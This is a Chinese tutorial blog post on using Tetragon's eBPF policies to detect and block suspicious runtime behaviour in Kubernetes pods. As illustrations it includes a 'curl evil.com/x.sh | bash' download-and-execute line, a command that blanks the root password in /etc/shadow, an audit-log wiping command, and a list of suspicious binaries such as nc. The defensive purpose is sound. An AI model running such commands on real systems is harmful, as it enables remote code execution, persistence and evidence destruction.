编程 Tetragon 实战:用 eBPF 把安全防线推进到内核态,实时揪出 K8s 里的异常行为

2026-07-08 11:25:29 +0800 CST views 10

Tetragon 实战:用 eBPF 把安全防线推进到内核态,实时揪出 K8s 里的异常行为

关键词:eBPF / Tetragon / Kubernetes 运行时安全 / 云原生可观测性 / 内核态拦截

如果你的 Kubernetes 集群里某个 Pod 在凌晨三点悄悄执行了 curl http://evil.com/x.sh | bash,你的安全体系多久能发现?一天后看审计日志?还是永远不知道——因为攻击者在拿到 root 之后顺手把日志清了?

这是云原生时代最尴尬的现实:我们在"部署前"做了大量安全工作(镜像扫描、 admission control、网络策略、RBAC),但"运行时"发生了什么,往往是一团黑盒。本文要讲的 Tetragon,是 Cilium 团队基于 eBPF 做的运行时安全项目,它把安全观测和强制的触点直接推进到 Linux 内核态,让你能在系统调用发生的"同一瞬间"看见、甚至拦下异常行为。

我会从背景矛盾讲起,拆解它的核心概念和架构,然后用 6 个可落地的代码实战(从安装、观测到内核态强制拦截),最后给出性能优化和生产落地的硬核建议。读完你应该能直接在测试集群里把 Tetragon 跑起来,并写出自己的第一条运行时安全策略。


背景:云原生安全的"运行时盲区"

我们先把问题说清楚。一个典型的 K8s 安全栈长这样:

  • 部署前:Trivy / Clair 扫镜像漏洞,OPA / Gatekeeper 做 admission policy,禁止特权容器、限制 hostPath
  • 网络层:Cilium / Calico NetworkPolicy 控制东西向流量。
  • 身份层:RBAC、ServiceAccount、mTLS。

这套组合拳很强,但它有一个共同前提:它们在"对象被创建/连接被建立"的那一刻做决策。一旦工作负载已经跑起来,安全就交给了"信任边界内不会有坏事发生"的假设。

而现实是:

  1. 漏洞在镜像里没扫出来(0day、误报漏报)。
  2. 合法凭证被滥用(一个本来正常的 Pod 被攻陷后,用合法 token 干坏事)。
  3. 攻击者拿到 shell 后横向移动,在内核里读写敏感文件、加载内核模块、提权。

这些事都发生在"运行时",而且都发生在内核态。传统的应对手段有三个典型盲区:

盲区一:审计日志是"事后、易篡改、高开销"的

auditd 和 Kubernetes Audit 能记录系统调用和 API 调用,但有两个致命问题:

  • 它是全量记录,在高并发集群里日志量爆炸,存储和检索都是负担;
  • 攻击者一旦拿到 root,第一件事往往就是 echo "" > /var/log/audit/audit.log。日志是"能被敌人改写的证据"。

盲区二:Sidecar Agent 太重、太侵入

在每一个 Pod 里塞一个安全 agent(sidecar),意味着资源占用翻倍、网络路径变长、部署耦合变强。千个 Pod 就是千个 agent,调度器和你都受不了。

盲区三:用户态 syscall 解析有"复制开销"

以 Falco 为代表的方案,在内核捕获 syscall 事件后,把上下文复制到用户态再解析规则。内核→用户态的上下文复制本身就吃性能,而且规则在用户态跑,从"事件发生"到"规则命中"之间天然有延迟——对于需要"实时阻断"的场景,这点延迟就是漏洞。

一个真实的攻击链路长什么样

为了把"运行时盲区"说得更具体,我们顺着攻击者的视角走一遍典型步骤:

  1. 攻击者通过应用漏洞(如反序列化、RCE)在容器内拿到一个普通进程的 shell;
  2. 在容器内横向探测:翻 /etc/ 下的配置、读 /root/.ssh/、扒环境变量里的云 AK/SK;
  3. 利用某个本地提权漏洞(或误配的 capability)拿到 root;
  4. 写入 /etc/cron.d/ 或改 /etc/shadow 做持久化;
  5. curl 拉取第二阶段木马,反向连回 C2。

这五步,全部发生在"运行时"、全部落在内核态的文件/进程/网络操作里。传统镜像扫描和 admission 策略在第一步之前就结束了,而审计日志即便记下来了,第五步的攻击者也会顺手清掉。这正是 Tetragon 要覆盖的战场——它能在第 2~5 步的每一个内核操作上按下暂停键。

核心矛盾就在这里:安全最需要的,是"看见内核里正在发生的事",但传统做法要么看不见、要么看得太贵、要么看得太晚。

eBPF 的出现改变了游戏规则。它允许你把一段经过校验的小程序安全地注入 Linux 内核,在特定事件点(syscall、内核函数、tracepoint、LSM 钩子)上运行,在事件发生的同一点(inline)观测甚至拦截,而不必把上下文搬来搬去。Tetragon 就是把这个能力产品化、Kubernetes 化的运行时安全项目。


核心概念:Tetragon 到底是什么

Tetragon 的官方定位是 "eBPF-based Security Observability and Runtime Enforcement"(基于 eBPF 的安全可观测性与运行时强制)。它检测并能够实时响应一系列安全相关事件:

  • 进程执行事件(Process execution):谁、以什么父进程、带了什么参数启动了什么二进制;
  • 特权与能力变更(Privileges & Capabilities):capable() 调用、提权、setuid;
  • I/O 活动:文件访问、网络连接;
  • 内核完整性:内核模块加载、被破坏的进程凭证。

四大核心能力

对应官方文档的 Features,Tetragon 提供四类开箱即用的能力:

能力观测对象典型用途
Execution Monitoring进程 exec / fork / exit,含父子关系检测异常二进制执行(如容器内出现 bashnc
File Integrity Monitoring文件 open / read / write / unlink监控 /etc/root/.ssh 被篡改
Network Observabilitytcp_connect / tcp_sendmsg发现反弹 shell、外联 C2
Privileges Monitoringcapable、capabilities 集合变化抓提权、越权操作

事件模型:进程是主线

Tetragon 的事件都以"进程"为主线串联:process_exec(进程诞生)、process_kprobe(命中的内核函数探针)、process_tracepoint(命中的静态跟踪点)、process_dupprocess_exit

举例,一个 process_exec 事件里会带这些关键字段:

{
  "process_exec": {
    "process": {
      "exec_id": "OjIzNDU2OjczOA==",
      "pid": 18234,
      "uid": 0,
      "binary": "/usr/bin/curl",
      "arguments": "http://evil.com/x.sh | bash",
      "parent": { "binary": "/bin/bash", "pid": 18200 },
      "pod": { "namespace": "default", "name": "web-7d9f" },
      "container": { "id": "a1b2c3...", "name": "app" }
    }
  }
}

注意最后那个 podcontainer 字段——这是 Tetragon 区别于"裸 eBPF 脚本"的关键:它是 Kubernetes-aware 的。事件天然带着 namespace、pod、container 身份,你写策略时可以直接说"只盯 namespace: payments 下的 Pod",而不是去算 cgroup id。

它和 Cilium 是什么关系

同门师兄弟,都出自 Isovalent / Cilium 社区,都是 CNCF 项目。区别是:

  • Cilium 专注网络(基于 eBPF 做高性能网络、NetworkPolicy、Service Mesh);
  • Tetragon 专注安全(基于 eBPF 做运行时观测与强制)。

两者可以独立部署,也能联动:Cilium 提供网络身份,Tetragon 提供进程身份,合起来就是"哪个工作负载、哪条进程、连了哪里、干了什么"的完整画面。


架构分析:事件是怎么从内核流到 SIEM 的

理解架构,才能理解为什么 Tetragon 性能好、也好扩展。

组件拓扑

┌─────────────────────────────────────────────┐
│  Kubernetes Cluster                           │
│                                               │
│  ┌──────────────┐      TracingPolicy CR     │
│  │ tetra-operator│ ───────────────────────┐  │
│  └──────────────┘                          │  │
│         │ (下发策略)                        │  │
│         ▼                                   ▼  │
│  ┌──────────────────────────────────────────┐ │
│  │  Node 1              Node 2     Node N     │ │
│  │ ┌──────────────┐   ┌──────────┐ ┌───────┐ │ │
│  │ │tetragon-agent│   │  agent   │ │ agent │ │ │
│  │ │  ├ eBPF prog │   │  ├ eBPF  │ │ ├eBPF │ │ │
│  │ │  ├ in-kernel │   │  ├ filter│ │ ├filter│ │ │
│  │ │  │  filtering│   │  └───────┘ │ └──────┘ │ │
│  │ │  └ gRPC API  │   └──────────┘ └───────┘ │ │
│  │ └──────┬───────┘                           │ │
│  └────────┼──────────────────────────────────┘ │
│           │ gRPC GetEvents (stream)             │
│           ▼                                      │
│   Consumer: OTel Collector / Kafka / SIEM /     │
│            你自己的 Go/Python 程序               │
└─────────────────────────────────────────────┘

四个核心角色:

  1. TracingPolicy(CRD,cilium.io/v1alpha1:你写的"安全意图"——观测什么 hook 点、怎么过滤、命中后做什么动作。它是用户唯一需要关心的抽象。
  2. tetragon-agent(DaemonSet,每节点一个):真正干活的。它把 eBPF 程序加载进内核、attach 到 hook 点、在内核态完成过滤、把命中事件格式化成 protobuf、通过 gRPC 吐出去。
  3. tetragon-operator:管理 CRD、把 TracingPolicy 翻译成各节点 agent 能懂的配置并下发。
  4. Consumer(你自己的程序 / OTel / SIEM):通过 gRPC GetEvents 流订阅事件。

Hook 点的家族

Tetragon 不是只能 hook syscall,它支持一整套观测点,这也是它灵活性的来源:

  • kprobes:动态挂到任意内核函数(如 vfs_writesecurity_file_open)。最常用。
  • uprobes:挂到用户态二进制/库的函数(如观测某个 Go 程序的特定函数)。
  • tracepoints:内核静态跟踪点,稳定、开销低。
  • LSM hooks:Linux 安全模块钩子,能强制(返回错误/拦截),是实现"运行时阻断"的关键。
  • USDT:用户态静态定义跟踪点(应用自己埋的点)。
  • fentry / fexit:挂到内核函数的入口/出口(需要较新内核与 BTF)。

为什么 eBPF 程序能安全又便携

两个机制值得单独提一句。一是 BPF 验证器(verifier):每段 eBPF 程序加载进内核前都要过验证器这道关,它做静态分析,证明程序不会死循环、不会越界解引用、不会把内核跑崩——这正是 eBPF 比手写内核模块安全得多的根本原因。二是 CO-RE + BTF:BTF 是内核自描述的类型信息,配合 CO-RE(Compile Once - Run Everywhere),同一份 eBPF 对象能在不同内核版本间直接可移植,不必为每个内核重编。Tetragon 的 eBPF 程序正是基于这套机制加载的(底层用 libbpf 的 BPF skeleton 生成与加载)。理解了这两点,你就能放心地把"内核态小程序"用在生产里。

性能关键:内核态过滤(selectors)

这是 Tetragon 最值得讲清楚的设计点。一个常见误解是"eBPF 程序把所有 syscall 都抓出来再过滤"。错。Tetragon 的 selectors在内核态 eBPF 程序里执行的匹配逻辑

只有 matchArgs 命中的事件,才会被格式化并上报到用户态。不命中的,内核里直接丢弃。

对比一下两种思路:

维度用户态全量解析(传统)Tetragon 内核态过滤
上下文搬运每个事件都从内核复制到用户态仅命中事件才复制
规则执行位置用户态,有调度延迟内核态 inline,近乎零延迟
阻断能力通常只能"告警"可通过 LSM 直接"拦截"
单事件开销高(拷贝+解析+GC)低(inline 判断)

顺带提一个常被拿来对比的项目 Tracee(Aqua Security 出品,同样基于 eBPF)。和 Tetragon 一样,Tracee 也能在内核态观测运行时行为,并用 eBPF 做检测。两者取舍大致是:Tracee 更偏向"单节点取证工具 + 规则引擎(基于 OPA Rego)",上手快、规则表达力强,适合安全同学做临时排查;Tetragon 更偏向"Kubernetes 原生、策略即 CRD、内建强制(Override/Signal)",更适合把运行时安全编进集群的声明式体系、做成常态控制面。一句话总结:要顺手的排查工具选 Tracee,要可编排的集群级安全控制面选 Tetragon。

这就是为什么 Tetragon 官方敢说它是"runtime enforcement"而非单纯"observability"——它能在 syscall 返回之前就改掉返回值(Override),或者在进程作恶的瞬间发 SIGKILL。

数据流一句话总结

内核 eBPF 程序 → 内核态过滤 → agent 格式化并关联 K8s 身份 → gRPC 流 → 消费者。整条链路上,最贵的一步(上下文复制)被尽可能推迟、并只在必要时发生。


代码实战:从零跑通再到内核态拦截

下面所有示例都在一个普通 K8s 集群(内核 ≥ 5.8,推荐 5.15+ 以解锁完整 eBPF/LSM 能力)里可复现。

实战 1:用 Helm 安装 Tetragon

# 添加 Cilium 官方仓库(Tetragon 的 chart 也在里面)
helm repo add cilium https://helm.cilium.io
helm repo update

# 安装到 kube-system,默认就以 DaemonSet 形式每节点跑一个 agent
helm install tetragon cilium/tetragon \
  --namespace kube-system \
  --create-namespace

# 等 DaemonSet 全 Ready
kubectl rollout status -n kube-system ds/tetragon -w

装完你会看到:

  • kube-system 下有个 ds/tetragon(每节点一个 Pod);
  • 一个 deploy/tetragon-operator
  • 集群里多了 tracingpolicies.cilium.io 这个 CRD。

内核版本提示:eBPF 的能力随内核演进。CO-RE(Compile Once - Run Everywhere)让 eBPF 对象在不同内核间可移植,但仍建议 5.8+,LSM 强制类策略需要 5.7+ 且内核开启了 CONFIG_BPF_LSM=y

实战 2:先看效果——实时事件流

不写任何策略,先看看 Tetragon 默认能看见什么:

kubectl exec -ti -n kube-system ds/tetragon -- tetra getevents -o json

随便 kubectl exec 进一个 Pod 敲个命令,你会在流里看到对应的 process_exec 事件,JSON 结构如前文所示,带着 podcontainerparent 字段。这就是"Kubernetes-aware"的直观体现。

想换成人类可读格式,去掉 -o json 即可;想只看某类事件可以加 --process-exec--process-kprobe 等开关。

实战 3:只盯住特定进程的诞生(kprobe + sys_execve)

假设你要在 payments 命名空间里,一旦有人启动 bash 就立刻告警(容器里正常不该有交互 shell)。写一条 TracingPolicy:

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "alert-bash-in-payments"
spec:
  podSelector:
    matchLabels:
      app: payments-api   # 只作用在带这个 label 的 Pod 上
  kprobes:
  - call: "sys_execve"
    syscall: true
    args:
    - index: 0
      type: "string"
      label: "path"
    selectors:
    - matchArgs:
      - index: 0
        operator: "Equal"
        values:
        - "/usr/bin/bash"
      matchActions:
      - action: "Post"     # 命中就上报事件(Post = 产生一条观测事件)

逐行拆解:

  • call: sys_execve + syscall: true:挂到 execve 系统调用。
  • args:声明要采集第 0 个参数(路径),类型是 string,标签叫 path
  • selectors.matchArgs:内核态过滤器——只有当 path == /usr/bin/bash 时才继续。
  • matchActions.action: Post:命中后产生一条事件供消费。

应用它:

kubectl apply -f alert-bash-in-payments.yaml

注意 podSelector——这就是"Kubernetes Identity Aware":策略天然按工作负载维度生效,而不是按节点或 cgroup 硬算。

实战 4:文件完整性监控——谁动了 /etc

经典的"黄金镜像"场景:生产容器里的 /etc 理论上不该被改。用 security_file_open 这个内核函数探针,监控对 /etc/ 下任何文件的打开:

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "monitor-etc-access"
spec:
  kprobes:
  - call: "security_file_open"
    args:
    - index: 0
      type: "file"        # file 类型能自动提取 path / permission / flags
      label: "file"
    selectors:
    - matchArgs:
      - index: 0
        operator: "Prefix"
        values:
        - "/etc/"
      matchActions:
      - action: "Post"

这里有两个值得记的点:

  • type: file 是 Tetragon 的特殊参数类型,eBPF 程序会自动从 struct file 里把路径、权限、打开标志解析出来,你不用自己读内核结构体。
  • operator: Prefix 支持 Equal / NotEqual / Prefix / Postfix / Contains 等,足够覆盖大部分模式匹配。

命中事件里你会看到打开者是谁(process)、打开了哪个文件、以什么权限——一次"谁在动我的配置"的实时取证就完成了。

实战 5:运行时强制——拦住对敏感文件的写入(Override)

观测只是第一步,真正酷的是拦截。比如:禁止任何进程写入 /etc/shadow(改密码文件是典型的提权/持久化动作)。

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "block-shadow-write"
spec:
  kprobes:
  - call: "vfs_write"
    args:
    - index: 0
      type: "file"
      label: "file"
    selectors:
    - matchArgs:
      - index: 0
        operator: "Equal"
        values:
        - "/etc/shadow"
      matchActions:
      - action: "Override"
        argError: -1      # 把返回值改成 -EPERM,写操作直接失败

关键点:

  • action: Override 会把函数返回值在内核态直接改写。对 vfs_write 来说,返回 -1(实际是 -EPERM)意味着"这次写没发生",调用方拿到权限错误。
  • Override 只能作用于系统调用和安全检查函数这类"允许改返回值"的钩子——这正是 Tetragon 文档里强调的约束。

应用后,攻击者即便拿到 root 执行 echo 'root::0:0::/:' > /etc/shadow,写入也会失败。这比事后告警强了不止一个档次。

实战 6:更稳的拦截——LSM 钩子 + Signal

Override 适合"让操作失败",但有些场景你想"直接杀掉作恶进程"。Tetragon 提供第二种强制手段:Signal(例如发 SIGKILL)。

但要小心一个文档里明确写的坑:

发 SIGKILL 并不能保证"正在进行的操作"一定没完成。比如在 write() 系统调用里发 SIGKILL,不保证数据没写进文件——它只保证进程同步终止。

所以生产实践里,Signal 通常和 Override 组合使用:先 Override 让这次操作失败,再 Signal 把进程杀掉,双保险。

用 LSM 钩子(而非 kprobe)做强制更"正统",因为 LSM 本就是内核的访问控制点,适合做决策型拦截:

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "kill-on-sensitive-file-write"
spec:
  lsmhooks:
  - call: "file_open"        # LSM 文件打开钩子
    args:
    - index: 0
      type: "file"
      label: "file"
    selectors:
    - matchArgs:
      - index: 0
        operator: "Equal"
        values:
        - "/etc/shadow"
      matchActions:
      - action: "Override"
        argError: -1
      - action: "Signal"
        signal: 9            # SIGKILL

这条策略的含义:只要有人试图打开 /etc/shadow 做写操作,直接返回权限错误,就把进程 SIGKILL 掉。

持久化强制:重启也不失效

Tetragon 还支持 Persistent enforcement(持久化强制):普通的 Override / Signal 只在 agent 存活期间对当前进程生效,进程一重启规则就失效;而持久化强制会把"禁止某行为"固化下来,即便目标进程重启、甚至 tetragon-agent 本身重启后,拦截依然持续。这对防御"靠重启复发的恶意进程"非常关键——攻击者常见的伎俩就是杀掉被发现的进程、换个 PID 再起,普通强制挡不住,持久化强制能挡。生产里对于已确认的恶意行为阻断,优先用持久化模式,别给对手留"重启绕过"的口子。

实战 7:用代码消费事件(Python,最稳的接入方式)

前面都是 tetra getevents 手动看。真实生产里,你要把事件接进自己的系统。最稳、不依赖任何内部 gRPC 包的方式,就是直接消费 tetra getevents -o json 的输出流

#!/usr/bin/env python3
"""订阅 Tetragon 事件流,对可疑进程执行做实时告警。
   不依赖内部 gRPC 包,纯消费 CLI 的 JSON 输出,跨版本稳定。
"""
import json
import subprocess
import sys

SUSPICIOUS = {"/usr/bin/bash", "/bin/sh", "/usr/bin/nc", "/usr/bin/curl"}

def stream_tetragon(namespace: str):
    # 在 tetragon Pod 里执行 getevents,本地通过 kubectl 桥接
    cmd = [
        "kubectl", "exec", "-i", "-n", "kube-system", "ds/tetragon",
        "--", "tetra", "getevents", "-o", "json",
    ]
    proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, text=True, bufsize=1)
    for line in proc.stdout:
        line = line.strip()
        if not line:
            continue
        try:
            evt = json.loads(line)
        except json.JSONDecodeError:
            continue
        yield evt

def handle(evt):
    pe = evt.get("process_exec") or evt.get("process_kprobe")
    if not pe:
        return
    proc = pe.get("process", {})
    pod = proc.get("pod", {})
    binary = proc.get("binary", "")
    ns = pod.get("namespace", "")

    if binary in SUSPICIOUS and ns == "payments":
        print(f"[ALERT] 命名空间={ns} Pod={pod.get('name')} "
              f"执行了可疑二进制 {binary} args={proc.get('arguments')}",
              file=sys.stderr)

if __name__ == "__main__":
    for event in stream_tetragon("payments"):
        handle(event)

这个脚本的价值在于:它只依赖 tetra getevents -o json 这个稳定公开接口,不碰 Tetragon 内部 protobuf 包,所以你升级 Tetragon 版本也不会断。接进 Kafka / OTel 也只是把 handle() 里的 print 换成 producer.send(...)

实战 8:进阶——Go 直连 gRPC GetEvents

想要更低延迟、更结构化,可以直连 Tetragon 的 gRPC GetEvents 流。Tetragon 在每节点暴露一个 unix socket(默认 /var/run/tetragon/tetragon.sock)。下面是一段示意性 Go 客户端(具体 import 路径以你所用版本的生成代码为准,思路不变):

package main

import (
    "context"
    "io"
    "log"
    "time"

    "google.golang.org/grpc"
    "google.golang.org/grpc/credentials/insecure"
    // 以下包路径随 Tetragon 版本变化,请以你的 go.mod 中
    // github.com/cilium/tetragon 的 api 生成代码为准:
    // tetragon "github.com/cilium/tetragon/pkg/api/tetragon"
    // svc "github.com/cilium/tetragon/pkg/api/services/v1"
)

func main() {
    // 直连节点本地 socket,无需走网络
    conn, err := grpc.Dial(
        "unix:///var/run/tetragon/tetragon.sock",
        grpc.WithTransportCredentials(insecure.NewCredentials()),
    )
    if err != nil {
        log.Fatal(err)
    }
    defer conn.Close()

    // client := svc.NewTetraClient(conn)
    // stream, err := client.GetEvents(context.Background(), &tetragon.GetEventsRequest{})
    // for {
    //     evt, err := stream.Recv()
    //     if err == io.EOF { return }
    //     if err != nil { log.Fatal(err) }
    //     // evt 是 protobuf 事件,可转 JSON 或直接读字段
    //     log.Printf("event: %+v", evt)
    // }

    // 上面注释即真实调用骨架;本例仅演示连接与超时控制
    _ = conn
    ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
    defer cancel()
    <-ctx.Done()
    _ = io.EOF
}

直连 gRPC 的好处是:事件以 protobuf 结构化送达,没有 JSON 解析开销,适合做高吞吐的实时检测引擎。代价是要跟随 Tetragon 版本的 API 生成代码——所以用 Python 消费 CLI 输出作为"第一版接入"往往更省心。

实战 9:排错三板斧

策略没生效、事件没出来,按这个顺序查,能解决九成问题:

  1. 调高 agent 日志级别kubectl logs -n kube-system ds/tetragon -- -v=5 能看到 eBPF 程序加载、策略编译、hook 点 attach 的详细过程,定位是策略写错还是 hook 点不存在;
  2. 抓系统快照kubectl exec -n kube-system ds/tetragon -- tetra debug dump 导出当前 eBPF 程序、map、已加载策略的状态,发给社区或存档对比;
  3. 看 BPF 程序统计kubectl exec -n kube-system ds/tetragon -- tetra debug bpf-stats 能看到每个 eBPF 程序的运行次数与耗时,判断是不是某个热路径探针拖慢了内核——这也是前文强调"要观测观测者自己"的落点。

性能优化与生产落地建议

写几条策略很容易,跑在生产、跑得稳且跑得不贵,需要一点工程心法。

1. 把过滤尽量下沉到内核态

这是第一原则。能写进 selectors.matchArgs 的匹配,就别在用户态消费者里全量判断。内核态过滤掉的事件根本不会出内核,省的是"上下文复制 + 序列化 + 网络"三重开销。

2. 用好事件限流(Event Throttling)

攻击或故障可能瞬间产生海量事件(比如一个死循环疯狂 fork)。Tetragon 支持事件限流配置,配合 metrics 监控,避免"安全事件本身把节点打挂"。生产里一定要配限流阈值,并对限流触发做告警。

3. 用 nodeSelector / hostSelector 精准作用域

  • nodeSelector:控制策略加载在哪些节点(比如只给 GPU 节点、或 canary 节点池加载重量级策略)。
  • hostSelector:控制已加载策略作用在 host 负载还是 pod 负载(目前支持 ~ 空 / {} 全部)。

不要无脑"全集群全节点加载所有策略",按节点分组灰度才是稳妥做法。

4. 资源模型:DaemonSet vs Sidecar

Tetragon 是每节点一个 agent(DaemonSet),而不是每 Pod 一个 sidecar。这意味着:

  • 资源随节点数线性增长,不随 Pod 数爆炸;
  • 对业务 Pod 零侵入(不需要改 deployment 注入 sidecar);
  • 但 agent 自身吃的是节点预留资源,要给它留足 requests/limits,尤其 eBPF map 和 gRPC 缓冲。

5. 用 Metrics 把 eBPF 自己也观测起来

Tetragon 暴露 Prometheus metrics,还能通过 BPF 程序统计(bpf_progs_stats)看到每个 eBPF 程序自身的运行开销。你既要观测业务,也要观测"观测者自己"——eBPF 程序跑太久会拖慢被 hook 的内核路径,这个必须盯。

6. 开销量级参考

经验上,eBPF inline 观测单事件在个位数微秒级,远低于"内核→用户态全量复制 + 用户态规则引擎"的开销。但这不代表可以无脑 hook 热路径(如每个 tcp_sendmsg 都解析全部载荷)——热路径上的 eBPF 要极简,重活放用户态消费者异步做。

7. 生产 Checklist(可直接抄)

  • 内核版本 ≥ 5.8(强制类策略 ≥ 5.15 更稳);
  • agent 资源 requests/limits 已设置并压测;
  • 关键策略开启限流 + 限流告警;
  • 策略按 nodeSelector 灰度,先 observability 后 enforcement;
  • 事件接入 OTel/Kafka,落盘到 SIEM;
  • 监控 bpf_progs_stats,防止 eBPF 拖慢内核路径;
  • 准备"误杀回滚"预案:enforcement 策略先以 Post(仅观测)跑一周,确认无误再切 Override/Signal

总结与展望

回到开头那个问题:Pod 在凌晨三点 curl evil.com | bash,你的体系多久发现?

有了 Tetragon,答案是:在内核把这条 execve 跑起来的同一个瞬间。而且你可以不止于"发现"——可以在它联网之前就 Override 掉、在它落地之前就 SIGKILL 掉。

把 Tetragon 放进你的安全栈,它补的是**"运行时"**这块拼图:

  • OPA / Gatekeeper(admission-time 决策)形成纵深:一个管"生不生成",一个管"生出来后干没干坏事";
  • 镜像扫描互补:0day 扫不出来,但运行时行为骗不了 eBPF;
  • Cilium 网络身份联动:最终得到"哪个工作负载 / 哪条进程 / 连了哪里 / 干了什么"的完整证据链。

当然它也有边界要心里有数:

  • 依赖内核版本:eBPF 与 LSM 能力随内核演进,老内核(< 4.19)基本无缘;
  • 强制需要较新内核:完整 LSM 强制要 5.7+ 且开启 CONFIG_BPF_LSM
  • 策略要灰度:enforcement 类策略上线前务必先以纯观测模式验证,避免误杀正常业务。

展望未来,云原生安全的范式正在从"事后取证"走向"实时阻断",而 eBPF 正是这场范式转移的技术底座。Tetragon 把内核态的观测与强制产品化、Kubernetes 化,让普通团队也能用上原本只有大厂安全团队才玩得转的能力。下次安全评审,别只汇报"我们扫了镜像、配了 NetworkPolicy"——补上一句"运行时我们也在内核里看着呢",底气会足很多。

动手建议:先在测试集群用实战 14 跑通 observability,观察一周行为基线;确认无误报后,再用实战 56 谨慎开启 enforce。安全产品的第一准则是——别让自己的策略成为新的故障源

推荐文章

Vue3中如何处理路由和导航?
2024-11-18 16:56:14 +0800 CST
JS中 `sleep` 方法的实现
2024-11-19 08:10:32 +0800 CST
使用Vue 3实现无刷新数据加载
2024-11-18 17:48:20 +0800 CST
7种Go语言生成唯一ID的实用方法
2024-11-19 05:22:50 +0800 CST
程序员茄子在线接单